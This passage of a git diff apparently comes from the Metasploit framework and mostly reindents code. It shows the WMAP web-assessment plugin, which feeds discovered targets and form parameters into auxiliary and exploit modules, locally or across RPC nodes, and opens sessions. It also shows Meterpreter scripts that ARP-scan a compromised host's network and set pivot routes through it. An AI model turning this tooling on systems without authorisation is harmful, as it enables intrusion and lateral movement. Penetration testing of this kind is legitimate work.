xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + # + # Run the plugins for each request that have a distinct + # GET/POST URI QUERY string. + # + + h = self.framework.db.workspace.hosts.find_by_address(selected_host) + s = h.services.find_by_port(selected_port) + w = s.web_sites.find_by_vhost(selected_vhost) + + w.web_forms.each do |req| + + if self.masstop + print_error("STOPPED.") + return + end + + datastr = "" + typestr = "" + + temparr = [] + + req.params.each do |p| + pn, pv, pt = p + if pn + if not pn.empty? + if not pv or pv.empty? + #TODO add value based on param name + pv = "aaa" + end + #temparr << pn.to_s + "=" + Rex::Text.uri_encode(pv.to_s) + temparr << pn.to_s + "=" + pv.to_s + end + else + print_error("Blank parameter name. Form #{req.path}") + end + end + + datastr = temparr.join("&") if (temparr and not temparr.empty?) + + modopts['METHOD'] = req.method.upcase + modopts['PATH'] = req.path + if req.method.upcase == 'GET' + modopts['QUERY'] = datastr + modopts['DATA'] = "" + end + modopts['DATA'] = datastr if req.method.upcase == 'POST' + modopts['TYPES'] = typestr + + # + # TODO: Add method, headers, etc. + # + if (not usinginipath) or (usinginipath and req.path.match(inipathname)) + + print_status "Path #{req.path}" + #print_status("Query PATH #{modopts['PATH']}") + #print_status("Query GET #{modopts['QUERY']}") + #print_status("Query POST #{modopts['DATA']}") + #print_status("Query TYPES #{typestr}") + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + # + # Handle modules that need to be after all tests, once. + # Good place to have modules that analize the test results and/or + # launch exploits. + # :wmap_generic + # + print_status "\n=[ General testing ]=" + print_line "=" * sizeline + + idx = 0 + matches10.each_key do |xref| + + if self.masstop + print_error("STOPPED.") + return + end + + # Module not part of profile or not match + if not ( using_p and eprofile.include? xref[0].split('/').last ) or (using_m and xref[0].to_s.match(mname)) or (not using_m and not using_p) + idx += 1 + + + begin + # Module options hash + modopts = Hash.new() + + # + # The code is just a proof-of-concept and will be expanded in the future + # + + print_status "Module #{xref[0]}" + + if (mode & wmap_expl != 0) + + # + # For modules to have access to the global datastore + # i.e. set -g DOMAIN test.com + # + self.framework.datastore.each do |gkey,gval| + modopts[gkey]=gval + end + + # + # Parameters passed in hash xref + # + + modopts['RHOST'] = selected_host + modopts['RHOSTS'] = selected_host + modopts['RPORT'] = selected_port.to_s + modopts['SSL'] = selected_ssl + modopts['VHOST'] = selected_vhost.to_s + modopts['VERBOSE'] = moduleverbose + modopts['ShowProgress'] = showprogress + modopts['RunAsJob'] = jobify + + # + # Run the plugins that only need to be + # launched once. + # + + begin + if execmod + rpcnode = rpc_round_exec(xref[0],xref[1], modopts, self.njobs) + end + rescue ::Exception + print_status(" >> Exception during launch from #{xref[0]}: #{$!}") + end + end + + rescue ::Exception + print_status(" >> Exception from #{xref[0]}: #{$!}") + end + end + end + + + if (mode & wmap_expl != 0) + print_line "+" * sizeline + + if not self.runlocal + if execmod + rpc_list_nodes() + print_status("Note: Use wmap_nodes -l to list node status for completion") + end + end + + print_line("Launch completed in #{(Time.now.to_f - stamp)} seconds.") + print_line "+" * sizeline + end + + print_status("Done.") + end + + # EOM + end + + def view_targets + if self.targets == nil or self.targets.keys.length == 0 + print_status "No targets have been defined" + return + end + + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => 'Defined targets', + 'Columns' => + [ + 'Id', + 'Vhost', + 'Host', + 'Port', + 'SSL', + 'Path', + ]) + + self.targets.each_with_index { |t, idx| + tbl << [ idx.to_s, t[1][:vhost], t[1][:host], t[1][:port], t[1][:ssl], "\t"+t[1][:path].to_s ] + } + + print_status tbl.to_s + "\n" + end + + def delete_sites(wmap_index) + idx = 0 + to_del = {} + # Rebuild the index from wmap_sites -l + self.framework.db.hosts.each do |bdhost| + bdhost.services.each do |serv| + serv.web_sites.each do |web| + # If the index of this site matches any deletion index, + # add to our hash, saving the index for later output + to_del[idx] = web if wmap_index.any? {|w| w.to_i == idx} + idx += 1 + end + end + end + to_del.each do |widx,wsite| + if wsite.delete + print_status("Deleted #{wsite.vhost} on #{wsite.service.host.address} at index #{widx}") + else + print_error("Could note delete {wsite.vhost} on #{wsite.service.host.address} at index #{widx}") + end + end + end + + + def view_sites + # Clean temporary sites list + self.lastsites = [] + + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => 'Available sites', + 'Columns' => + [ + 'Id', + 'Host', + 'Vhost', + 'Port', + 'Proto', + '# Pages', + '# Forms', + ]) + + idx = 0 + self.framework.db.hosts.each do |bdhost| + bdhost.services.each do |serv| + serv.web_sites.each do |web| + c = web.web_pages.count + f = web.web_forms.count + tbl << [ idx.to_s, bdhost.address, web.vhost, serv.port, serv.name, c.to_s, f.to_s ] + idx += 1 + + turl = web.vhost + "," + serv.name + "://" +bdhost.address.to_s + ":" + serv.port.to_s + "/" + self.lastsites << turl + end + end + end + + print_status tbl.to_s + "\n" + + end + + # Reusing code from hdmoore + # + # Allow the URL to be supplied as VHOST,URL if a custom VHOST + # should be used. This allows for things like: + # localhost,http://192.168.0.2/admin/ + + def add_web_site(url) + + vhost = nil + + # Allow the URL to be supplied as VHOST,URL if a custom VHOST + # should be used. This allows for things like: + # localhost,http://192.168.0.2/admin/ + + if url !~ /^http/ + vhost,url = url.split(",", 2) + if url.to_s.empty? + url = vhost + vhost = nil + end + end + + # Prefix http:// when the URL has no specified parameter + if url !~ /^[a-z0-9A-Z]+:\/\// + url = "http://" + url + end + + uri = URI.parse(url) rescue nil + if not uri + print_error("Could not understand URL: #{url}") + return + end + + if uri.scheme !~ /^https?/ + print_error("Only http and https URLs are accepted: #{url}") + return + end + + ssl = false + if uri.scheme == 'https' + ssl = true + end + + site = self.framework.db.report_web_site(:wait => true, :host => uri.host, :port => uri.port, :vhost => vhost, :ssl => ssl) + + return site + end + + # Code by hdm. Modified two lines by et + # + def process_urls(urlstr) + + target_whitelist = [] + + urls = urlstr.to_s.split(/\s+/) + + + urls.each do |url| + next if url.to_s.strip.empty? + vhost = nil + + # Allow the URL to be supplied as VHOST,URL if a custom VHOST + # should be used. This allows for things like: + # localhost,http://192.168.0.2/admin/ + + if url !~ /^http/ + vhost,url = url.split(",", 2) + if url.to_s.empty? + url = vhost + vhost = nil + end + end + + # Prefix http:// when the URL has no specified parameter + if url !~ /^[a-z0-9A-Z]+:\/\// + url = "http://" + url + end + + uri = URI.parse(url) rescue nil + if not uri + print_error("Could not understand URL: #{url}") + next + end + + if uri.scheme !~ /^https?/ + print_error("Only http and https URLs are accepted: #{url}") + next + end + + target_whitelist << [vhost || uri.host, uri] + end + + # Skip the DB entirely if no matches + return if target_whitelist.length == 0 + + if not self.targets + # First time targets are defined + self.targets = Hash.new() + end + + target_whitelist.each do |ent| + vhost,target = ent + + host = self.framework.db.workspace.hosts.find_by_address(target.host) + if not host + print_error("No matching host for #{target.host}") + next + end + serv = host.services.find_by_port_and_proto(target.port, 'tcp') + if not serv + print_error("No matching service for #{target.host}:#{target.port}") + next + end + + #print_status "aaa" + #print_status framework.db.workspace.name + + sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) + + sites.each do |site| + # Initial defaul path + inipath = target.path + if target.path.empty? + inipath = '/' + end + + #site.web_forms.find_all_by_path(target.path).each do |form| + ckey = [ site.vhost, host.address, serv.port, inipath].join("|") + + if not self.targets[ckey] + self.targets[ckey] = WebTarget.new + self.targets[ckey].merge!({ + :vhost => site.vhost, + :host => host.address, + :port => serv.port, + :ssl => (serv.name == "https"), + :path => inipath + }) + #self.targets[ckey][inipath] = [] + else + print_status("Target already set in targets list.") + end + + # Store the form object in the hash for this path + #self.targets[ckey][inipath] << inipath + #end + end + end + end + + # Code by hdm. Modified two lines by et + # lastsites contains a temporary array with vhost,url strings so the id can be + # referenced in the array and prevent new sites added in the db to corrupt previous id list. + def process_ids(idsstr) + + if !self.lastsites or self.lastsites.length == 0 + view_sites + print_status ("Web sites ids. referenced from previous table.") + end + + target_whitelist = [] + ids = idsstr.to_s.split(/,/) + + ids.each do |id| + next if id.to_s.strip.empty? + + if id.to_i > self.lastsites.length + print_error("Skipping id #{id}...") + else + target_whitelist << self.lastsites[id.to_i] + print_status("Loading #{self.lastsites[id.to_i]}.") + end + end + + # Skip the DB entirely if no matches + return if target_whitelist.length == 0 + + if not self.targets + self.targets = Hash.new() + end + + target_whitelist.each do |ent| + process_urls(ent) + end + end + + def view_site_tree(urlstr, md, ld) + if not urlstr + return + end + + site_whitelist = [] + + urls = urlstr.to_s.split(/\s+/) + + urls.each do |url| + next if url.to_s.strip.empty? + vhost = nil + + # Allow the URL to be supplied as VHOST,URL if a custom VHOST + # should be used. This allows for things like: + # localhost,http://192.168.0.2/admin/ + + if url !~ /^http/ + vhost,url = url.split(",", 2) + + if url.to_s.empty? + url = vhost + vhost = nil + end + end + + # Prefix http:// when the URL has no specified parameter + if url !~ /^[a-z0-9A-Z]+:\/\// + url = "http://" + url + end + + uri = URI.parse(url) rescue nil + if not uri + print_error("Could not understand URL: #{url}") + next + end + + if uri.scheme !~ /^https?/ + print_error("Only http and https URLs are accepted: #{url}") + next + end + + site_whitelist << [vhost || uri.host, uri] + end + + # Skip the DB entirely if no matches + return if site_whitelist.length == 0 + + vsites = Hash.new() + + site_whitelist.each do |ent| + vhost,target = ent + + host = self.framework.db.workspace.hosts.find_by_address(target.host) + if not host + print_error("No matching host for #{target.host}") + next + end + serv = host.services.find_by_port_and_proto(target.port, 'tcp') + if not serv + print_error("No matching service for #{target.host}:#{target.port}") + next + end + + sites = serv.web_sites.where('vhost = ? and service_id = ?', vhost, serv.id) + + sites.each do |site| + t = load_tree(site) + print_tree(t,target.host,md,ld) + print_line("\n") + end + end + end + + # + # Load website structure into a tree + # + + def load_tree(s) + + pathchr = '/' + + wtree = Tree.new(s.vhost) + + # Load site pages + s.web_pages.find(:all, :order => 'path').each do |req| + tarray = req.path.to_s.split(pathchr) + tarray.delete("") + tpath = Pathname.new(pathchr) + tarray.each do |df| + wtree.add_at_path(tpath.to_s,df) + tpath = tpath + Pathname.new(df.to_s) + end + end + + # Load site forms + s.web_forms.each do |req| + tarray = req.path.to_s.split(pathchr) + tarray.delete("") + tpath = Pathname.new(pathchr) + tarray.each do |df| + wtree.add_at_path(tpath.to_s,df) + tpath = tpath + Pathname.new(df.to_s) + end + end + + return wtree + end + + # + # Print Tree structure. Still ugly + # + + def print_tree(tree, ip, maxlevel, limitlevel) + initab = " " * 4 + indent = 6 + if tree != nil and tree.depth <= maxlevel + print initab + (" " * indent * tree.depth) + if tree.depth > 0 + print "|"+("-" * (indent-1))+"/" + end + if tree.depth >= 0 + if tree.depth == 0 + print "[#{tree.name}] (#{ip})\n"+initab+(" " * indent)+"\n" + + else + c = tree.children.count + if c > 0 + print tree.name + " (" + c.to_s+")\n" + else + print tree.name + "\n" + end + end + end + + tree.children.each_pair do |name,child| + print_tree(child,ip,maxlevel,limitlevel) + end + + end + end + + def signature(fpath,fquery) + hsig = Hash.new() + + hsig = queryparse(fquery) + + # + # Signature of the form ',p1,p2,pn' then to be appended to path: path,p1,p2,pn + # + + sigstr = fpath + "," + hsig.map{|p| p[0].to_s}.join(",") + end + + def queryparse(query) + params = Hash.new() + + query.split(/[&;]/n).each do |pairs| + key, value = pairs.split('=',2) + if params.has_key?(key) + #Error + else + params[key] = value + end + end + params + end + + def rpc_add_node(host,port,ssl,user,pass,bypass_exist) + + if not self.rpcarr + self.rpcarr = Hash.new() + end + + begin + istr = "#{host}|#{port}|#{ssl}|#{user}|#{pass}" + if self.rpcarr.has_key?(istr) and not bypass_exist and self.rpcarr[istr] != nil + print_error("Connection already exists #{istr}") + else + begin + temprpc = ::Msf::RPC::Client.new( + :host => host, + :port => port, + :ssl => ssl + ) + rescue + print_error "Unable to connect" + #raise ConnectionError + return + end + + res = temprpc.login( user , pass) + + if not res + print_error("Unable to authenticate to #{host}:#{port}.") + return + else + res = temprpc.call('core.version') + end + + print_status("Connected to #{host}:#{port} [#{res['version']}].") + self.rpcarr[istr] = temprpc + end + rescue + print_error("Unable to connect") + end + end + + def local_module_exec(mod,mtype, opts, nmaxjobs) + jobify = false + + modinst = framework.modules.create(mod) + + if(not modinst) + print_error("Unknown module") + return + end + + sess = nil + + case mtype + when 'auxiliary' + Msf::Simple::Auxiliary.run_simple(modinst, { + 'Action' => opts['ACTION'], + 'LocalOutput' => driver.output, + 'RunAsJob' => jobify, + 'Options' => opts + }) + when 'exploit' + if not opts['PAYLOAD'] + opts['PAYLOAD'] = WmapCommandDispatcher::Exploit.choose_payload(modinst, opts['TARGET']) + end + + sess = Msf::Simple::Exploit.exploit_simple(modinst, { + 'Payload' => opts['PAYLOAD'], + 'Target' => opts['TARGET'], + 'LocalOutput' => driver.output, + 'RunAsJob' => jobify, + 'Options' => opts + }) + else + print_error("Wrong mtype.") + end + + if sess + if (jobify == false and sess.interactive?) + print_line + driver.run_single("sessions -q -i #{sess.sid}") + else + print_status("Session #{sess.sid} created in the background.") + end + end + end + + def rpc_round_exec(mod,mtype, opts, nmaxjobs) + + res = nil + idx = 0 + + if active_rpc_nodes == 0 + if not self.runlocal + print_error("All active nodes not working or removed") + return + end + res = true + else + rpc_reconnect_nodes() + end + + if self.masstop + return + end + + while not res + if active_rpc_nodes == 0 + print_error("All active nodes not working or removed") + return + end + + #find the node with less jobs load. + minjobs = nmaxjobs + minconn = nil + nid = 0 + self.rpcarr.each do |k,rpccon| + if not rpccon + print_error("Skipping inactive node #{nid} #{k}") + else + begin + currentjobs = rpccon.call('job.list').length + + if currentjobs < minjobs + minconn = rpccon + minjobs = currentjobs + end + + if currentjobs == nmaxjobs + if self.nmaxdisplay == false + print_error("Node #{nid} reached max number of jobs #{nmaxjobs}") + print_error("Waiting for available node/slot...") + self.nmaxdisplay = true + end + end + #print_status("Node #{nid} #currentjobs #{currentjobs} #min #{minjobs}") + rescue + print_error("Unable to connect. Node #{tarr[0]}:#{tarr[1]}") + self.rpcarr[k]=nil + + if active_rpc_nodes == 0 + print_error("All active nodes ,not working or removed") + return + else + print_error("Sending job to next node") + next + end + end + end + nid += 1 + end + + if minjobs < nmaxjobs + res=minconn.call('module.execute', mtype, mod, opts) + self.nmaxdisplay = false + #print_status(">>>#{res} #{mod}") + + if res + if res.has_key?("job_id") + return + else + print_error("Unable to execute module in node #{k} #{res}") + end + end + else + #print_status("Max number of jobs #{nmaxjobs} reached in node #{k}") + end + + idx += 1 + end + + if self.runlocal and not self.masstop + local_module_exec(mod,mtype, opts, nmaxjobs) + end + end + + def rpc_db_nodes(host,port,user,pass,name) + rpc_reconnect_nodes() + + if active_rpc_nodes == 0 + print_error("No active nodes at this time") + return + end + + self.rpcarr.each do |k,v| + if v + res = v.call('db.driver',{:driver => 'postgresql'}) + res = v.call('db.connect',{:database => name, :host => host, :port => port, :username => user, :password => pass}) + res = v.call('db.status') + + if res['db'] == name + print_status("db_connect #{res} #{host}:#{port} OK") + else + print_error("Error db_connect #{res} #{host}:#{port}") + end + else + print_error("No connection to node #{k}") + end + end + end + + def rpc_reconnect_nodes() + begin + # Sucky 5 mins token timeout. + + idx = nil + self.rpcarr.each do |k,rpccon| + if rpccon + idx = k + begin + currentjobs = rpccon.call('job.list').length + rescue + tarr = k.split("|") + rflag = false + + res = rpccon.login(tarr[3],tarr[4]) + + if res + rflag = true + print_error("Reauth to node #{tarr[0]}:#{tarr[1]}") + break + else + raise ConnectionError + end + end + end + end + rescue + print_error("ERROR CONNECTING TO NODE. Disabling #{idx} use wmap_nodes -a to reconnect") + self.rpcarr[idx] = nil + if active_rpc_nodes == 0 + print_error("No active nodes") + self.masstop = true + else + #blah + end + end + end + + def rpc_kill_node(i,j) + + if not i + print_error("Nodes not defined") + return + end + + if not j + print_error("Node jobs defined") + return + end + + rpc_reconnect_nodes() + + if active_rpc_nodes == 0 + print_error("No active nodes at this time") + return + end + + idx=0 + self.rpcarr.each do |k,rpccon| + if idx == i.to_i or i.upcase == 'ALL' + #begin + if not rpccon + print_error("No connection to node #{idx}") + else + n = rpccon.call('job.list') + n.each do |id,name| + if j==id.to_s or j.upcase == 'ALL' + rpccon.call('job.stop',id) + print_status("Node #{idx} Killed job id #{id} #{name}") + end + end + end + #rescue + # print_error("No connection") + #end + end + idx += 1 + end + end + + def rpc_view_jobs() + indent = ' ' + + rpc_reconnect_nodes() + + if active_rpc_nodes == 0 + print_error("No active nodes at this time") + return + end + + idx=0 + self.rpcarr.each do |k,rpccon| + if not rpccon + print_status("[Node ##{idx}: #{k} DISABLED/NO CONNECTION]") + else + + arrk = k.split('|') + print_status("[Node ##{idx}: #{arrk[0]} Port:#{arrk[1]} SSL:#{arrk[2]} User:#{arrk[3]}]") + + begin + n = rpccon.call('job.list') + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => 'Jobs', + 'Columns' => + [ + 'Id', + 'Job name', + 'Target', + 'PATH', + ]) + + n.each do |id,name| + jinfo = rpccon.call('job.info',id) + dstore = jinfo['datastore'] + tbl << [ id.to_s, name,dstore['VHOST']+":"+dstore['RPORT'],dstore['PATH']] + end + + print_status tbl.to_s + "\n" + + rescue + print_status("[Node ##{idx} #{k} DISABLED/NO CONNECTION]") + end + end + idx += 1 + end + end + + + # Modified from http://stackoverflow.com/questions/946738/detect-key-press-non-blocking-w-o-getc-gets-in-ruby + def quit? + begin + while c = driver.input.read_nonblock(1) + print_status("Quited") + return true if c == 'Q' + end + false + rescue Errno::EINTR + false + rescue Errno::EAGAIN + false + rescue EOFError + true + end + end + + def rpc_mon_nodes() + # Pretty monitor + + color = self.opts["ConsoleDriver"].output.supports_color? rescue false + + colors = [ + '%grn', + '%blu', + '%yel', + '%whi' + ] + + #begin + loop do + rpc_reconnect_nodes() + + idx = 0 + self.rpcarr.each do |k,rpccon| + + arrk = k.split('|') + + v = "NOCONN" + n = 1 + c = '%red' + + if not rpccon + v = "NOCONN" + n = 1 + c = '%red' + else + begin + v = "" + c = '%blu' + rescue + v = "ERROR" + c = '%red' + end + + begin + n = rpccon.call('job.list').length + c = '%blu' + rescue + n = 1 + v = "NOCONN" + c = '%red' + end + end + + #begin + if not @stdio + @stdio = Rex::Ui::Text::Output::Stdio.new + end + + if color == true + @stdio.auto_color + else + @stdio.disable_color + end + msg = "[#{idx}] #{"%bld#{c}||%clr"*n} #{n} #{v}\n" + @stdio.print_raw(@stdio.substitute_colors(msg)) + + #rescue + #blah + #end + sleep(2) + idx += 1 + end + end + #rescue + # print_status("End.") + #end + end + + def rpc_list_nodes() + indent = ' ' + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => 'Nodes', + 'Columns' => + [ + 'Id', + 'Host', + 'Port', + 'SSL', + 'User', + 'Pass', + 'Status', + '#jobs', + ]) + + idx=0 + + rpc_reconnect_nodes() + + self.rpcarr.each do |k,rpccon| + + arrk = k.split('|') + + if not rpccon + v = "NOCONN" + n = "" + else + begin + v = rpccon.call('core.version')['version'] + rescue + v = "ERROR" + end + + begin + n = rpccon.call('job.list').length + rescue + n = "" + end + end + + tbl << [ idx.to_s, arrk[0], arrk[1], arrk[2], arrk[3], arrk[4], v, n] + idx += 1 + end + + print_status tbl.to_s + "\n" + end + + def active_rpc_nodes + if self.rpcarr.length == 0 + return 0 + else + idx = 0 + self.rpcarr.each do |k,conn| + if conn + idx += 1 + end + end + return idx + end + end + + def view_modules + indent = ' ' + + wmaptype = [:wmap_ssl, + :wmap_server, + :wmap_dir, + :wmap_file, + :wmap_unique_query, + :wmap_query, + :wmap_generic + ] + + if not self.wmapmodules + load_wmap_modules(true) + end + + wmaptype.each do |modt| + + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => modt.to_s, + 'Columns' => + [ + 'Name', + 'OrderID', + ]) + + idx = 0 + self.wmapmodules.each do |w| + oid = w[3] + if w[3] == 0xFFFFFF + oid = ":last" + end + + if w[2] == modt + tbl << [w[0],oid] + idx += 1 + end + end + + print_status tbl.to_s + "\n" + end + end + + # Yes sorting hashes dont make sense but actually it does when you are enumerating one. And + # sort_by of a hash returns an array so this is the reason for this ugly piece of code + def sort_by_orderid(m) + temphash=Hash.new() + temparr=[] + + temparr = m.sort_by do |xref,v| + xref[3] + end + + temparr.each do |b| + temphash[b[0]] = b[1] + end + temphash + end + + # Load all wmap modules + def load_wmap_modules(reload) + if reload or not self.wmapmodules + print_status("Loading wmap modules...") + + self.wmapmodules=[] + + idx = 0 + [ [ framework.auxiliary, 'auxiliary' ], [framework.exploits, 'exploit' ] ].each do |mtype| + # Scan all exploit modules for matching references + mtype[0].each_module do |n,m| + e = m.new + + # Only include wmap_enabled plugins + if e.respond_to?("wmap_enabled") + penabled = e.wmap_enabled + + if penabled + self.wmapmodules << [mtype[1]+'/'+n,mtype[1],e.wmap_type,e.orderid] + idx += 1 + end + end + end + end + print_status("#{idx} wmap enabled modules loaded.") + end + end + + def view_vulns + framework.db.hosts.each do |host| + host.services.each do |serv| + serv.web_sites.each do |site| + site.web_vulns.each do |wv| + print_status("+ [#{host.address}] (#{site.vhost}): #{wv.category} #{wv.path}") + print_status("\t#{wv.name} #{wv.description}") + print_status("\t#{wv.method} #{wv.proof}") + end + end + end + end + end + end + + class WebTarget < ::Hash + def to_url + proto = self[:ssl] ? "https" : "http" + "#{proto}://#{self[:host]}:#{self[:port]}#{self[:path]}" + end + end + + + def initialize(framework, opts) + super + + color = self.opts["ConsoleDriver"].output.supports_color? rescue false + + wmapversion = '1.5.1' + + wmapbanner = "%red\n.-.-.-..-.-.-..---..---.%clr\n" + wmapbanner += "%red| | | || | | || | || |-'%clr\n" + wmapbanner += "%red`-----'`-'-'-'`-^-'`-'%clr\n" + wmapbanner += "[WMAP #{wmapversion}] === et [ ] metasploit.com 2012\n" + + if not @stdio + @stdio = Rex::Ui::Text::Output::Stdio.new + end + + if color == true + @stdio.auto_color + else + @stdio.disable_color + end + + @stdio.print_raw(@stdio.substitute_colors(wmapbanner)) + + add_console_dispatcher(WmapCommandDispatcher) + #print_status("#{wmapbanner}") + end + + def cleanup + remove_console_dispatcher('wmap') + end + + def name + "wmap" + end + + def desc + "Web assessment plugin" + end protected end diff --git a/scripts/meterpreter/arp_scanner.rb b/scripts/meterpreter/arp_scanner.rb index 4abe944c82..c71d201ce3 100644 --- a/scripts/meterpreter/arp_scanner.rb +++ b/scripts/meterpreter/arp_scanner.rb @@ -3,111 +3,111 @@ ################## Variable Declarations ################## @client = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-i" => [ false, "Enumerate Local Interfaces"], - "-r" => [ true, "The target address range or CIDR identifier"], - "-s" => [ false, "Save found IP Addresses to logs."] + "-h" => [ false, "Help menu." ], + "-i" => [ false, "Enumerate Local Interfaces"], + "-r" => [ true, "The target address range or CIDR identifier"], + "-s" => [ false, "Save found IP Addresses to logs."] ) def enum_int - print_status("Enumerating Interfaces") - client.net.config.interfaces.each do |i| - if not i.mac_name =~ /Loopback/ - print_status("\t#{i.mac_name}") - print_status("\t#{i.ip}") - print_status("\t#{i.netmask}") - print_status() - end + print_status("Enumerating Interfaces") + client.net.config.interfaces.each do |i| + if not i.mac_name =~ /Loopback/ + print_status("\t#{i.mac_name}") + print_status("\t#{i.ip}") + print_status("\t#{i.netmask}") + print_status() + end - end + end end def arp_scan(cidr) - print_status("ARP Scanning #{cidr}") - ws = client.railgun.ws2_32 - iphlp = client.railgun.iphlpapi - i, a = 0, [] - iplst,found = [],"" - ipadd = Rex::Socket::RangeWalker.new(cidr) - numip = ipadd.num_ips - while (iplst.length < numip) - ipa = ipadd.next_ip - if (not ipa) - break - end - iplst << ipa - end - iplst.each do |ip_text| - if i < 10 - a.push(::Thread.new { - h = ws.inet_addr(ip_text) - ip = h["return"] - h = iphlp.SendARP(ip,0,6,6) - if h["return"] == client.railgun.const("NO_ERROR") - mac_text = h["pMacAddr"].unpack('C*').map { |e| "%02x" % e }.join(':') - print_status("IP: #{ip_text} MAC #{mac_text}") - found << "#{ip_text}\n" - end - }) - i += 1 - else - sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? - i = 0 - end - end - a.delete_if {|x| not x.alive?} while not a.empty? - return found + print_status("ARP Scanning #{cidr}") + ws = client.railgun.ws2_32 + iphlp = client.railgun.iphlpapi + i, a = 0, [] + iplst,found = [],"" + ipadd = Rex::Socket::RangeWalker.new(cidr) + numip = ipadd.num_ips + while (iplst.length < numip) + ipa = ipadd.next_ip + if (not ipa) + break + end + iplst << ipa + end + iplst.each do |ip_text| + if i < 10 + a.push(::Thread.new { + h = ws.inet_addr(ip_text) + ip = h["return"] + h = iphlp.SendARP(ip,0,6,6) + if h["return"] == client.railgun.const("NO_ERROR") + mac_text = h["pMacAddr"].unpack('C*').map { |e| "%02x" % e }.join(':') + print_status("IP: #{ip_text} MAC #{mac_text}") + found << "#{ip_text}\n" + end + }) + i += 1 + else + sleep(0.05) and a.delete_if {|x| not x.alive?} while not a.empty? + i = 0 + end + end + a.delete_if {|x| not x.alive?} while not a.empty? + return found end def save_found(found_ip) - info = @client.sys.config.sysinfo - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + info = @client.sys.config.sysinfo + # Create Filename info to be appended to downloaded files + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - # Create a directory for the logs - logs = ::File.join(Msf::Config.log_directory,'scripts', 'arp_scanner',Rex::FileUtils.clean_path(info['Computer'] + filenameinfo)) - # Create the log directory - ::FileUtils.mkdir_p(logs) + # Create a directory for the logs + logs = ::File.join(Msf::Config.log_directory,'scripts', 'arp_scanner',Rex::FileUtils.clean_path(info['Computer'] + filenameinfo)) + # Create the log directory + ::FileUtils.mkdir_p(logs) - #log file name - dest = Rex::FileUtils.clean_path(logs + "/" + info['Computer'] + filenameinfo + ".txt") + #log file name + dest = Rex::FileUtils.clean_path(logs + "/" + info['Computer'] + filenameinfo + ".txt") - print_status("Saving found IP's to #{dest}") - file_local_write(dest,found_ip) + print_status("Saving found IP's to #{dest}") + file_local_write(dest,found_ip) end save2log = false cidr2scan = "" @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for performing an ARPS Scan Discovery." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - when "-i" - enum_int - raise Rex::Script::Completed - when "-r" - cidr2scan = val - when "-s" - save2log = true - end + case opt + when "-h" + print_line "Meterpreter Script for performing an ARPS Scan Discovery." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + when "-i" + enum_int + raise Rex::Script::Completed + when "-r" + cidr2scan = val + when "-s" + save2log = true + end } if client.platform =~ /win32|win64/ - if args.length > 0 - if save2log - save_found(arp_scan(cidr2scan)) - else - arp_scan(cidr2scan) - end - else - print_line "Meterpreter Script for performing an ARPS Scan Discovery." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + if args.length > 0 + if save2log + save_found(arp_scan(cidr2scan)) + else + arp_scan(cidr2scan) + end + else + print_line "Meterpreter Script for performing an ARPS Scan Discovery." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/autoroute.rb b/scripts/meterpreter/autoroute.rb index 88602113e9..2561dee91a 100644 --- a/scripts/meterpreter/autoroute.rb +++ b/scripts/meterpreter/autoroute.rb @@ -13,190 +13,190 @@ remove_all_routes = false # Options parsing @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [false, "Help and usage"], - "-s" => [true, "Subnet (IPv4, for example, 10.10.10.0)"], - "-n" => [true, "Netmask (IPv4, for example, 255.255.255.0"], - "-p" => [false, "Print active routing table. All other options are ignored"], - "-d" => [false, "Delete the named route instead of adding it"], - "-D" => [false, "Delete all routes (does not require a subnet)"] + "-h" => [false, "Help and usage"], + "-s" => [true, "Subnet (IPv4, for example, 10.10.10.0)"], + "-n" => [true, "Netmask (IPv4, for example, 255.255.255.0"], + "-p" => [false, "Print active routing table. All other options are ignored"], + "-d" => [false, "Delete the named route instead of adding it"], + "-D" => [false, "Delete all routes (does not require a subnet)"] ) @@exec_opts.parse(args) { |opt, idx, val| - v = val.to_s.strip - case opt - when "-h" - usage - raise Rex::Script::Completed - when "-s" - if v =~ /[0-9\x2e]+\x2f[0-9]{1,2}/ - subnet,cidr = v.split("\x2f") - netmask = Rex::Socket.addr_ctoa(cidr.to_i) - else - subnet = v - end - when "-n" - if (0..32) === v.to_i - netmask = Rex::Socket.addr_ctoa(v.to_i) - else - netmask = v - end - when "-p" - print_only = true - when "-d" - remove_route = true - when "-D" - remove_all_routes = true - end + v = val.to_s.strip + case opt + when "-h" + usage + raise Rex::Script::Completed + when "-s" + if v =~ /[0-9\x2e]+\x2f[0-9]{1,2}/ + subnet,cidr = 